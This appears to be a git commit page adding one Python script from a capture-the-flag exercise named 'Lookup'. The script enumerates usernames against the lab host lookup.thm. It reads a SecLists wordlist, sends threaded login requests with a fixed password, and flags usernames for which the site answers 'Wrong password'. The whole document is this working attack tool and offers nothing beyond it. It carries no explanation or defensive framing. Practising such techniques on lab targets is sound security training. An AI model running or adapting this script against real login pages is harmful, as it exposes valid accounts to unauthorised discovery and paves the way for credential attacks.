initial commit
This commit is contained in:
45
CTF/Lookup/username_threading.py
Normal file
45
CTF/Lookup/username_threading.py
Normal file
@@ -0,0 +1,45 @@
|
||||
import requests
|
||||
import concurrent.futures
|
||||
|
||||
# Target login URL
|
||||
URL = 'http://lookup.thm/login.php'
|
||||
|
||||
# Username list file
|
||||
USERNAMES_FILE = '/usr/share/seclists/Usernames/Names/names.txt'
|
||||
|
||||
# Number of concurrent threads
|
||||
MAX_THREADS = 10
|
||||
|
||||
def check_username(username):
|
||||
"""Test a username by sending a login request."""
|
||||
try:
|
||||
data = {'username': username, 'password': 'password'}
|
||||
response = requests.post(URL, data=data, timeout=5)
|
||||
|
||||
if 'Wrong password' in response.text:
|
||||
print(f"[VALID USERNAME] {username}")
|
||||
elif 'Wrong username' in response.text:
|
||||
pass # Username does not exist
|
||||
else:
|
||||
print(f"[UNKNOWN RESPONSE] {username} - Check manually.")
|
||||
except requests.RequestException as e:
|
||||
print(f"[ERROR] Request failed for {username}: {e}")
|
||||
|
||||
def main():
|
||||
try:
|
||||
with open(USERNAMES_FILE, 'r') as file:
|
||||
usernames = [line.strip() for line in file if line.strip()]
|
||||
|
||||
print(f"Starting username testing with {len(usernames)} entries...")
|
||||
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
|
||||
executor.map(check_username, usernames)
|
||||
|
||||
except FileNotFoundError:
|
||||
print("[ERROR] Username list file not found.")
|
||||
except Exception as e:
|
||||
print(f"[ERROR] Unexpected issue: {e}")
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
|
||||
Reference in New Issue
Block a user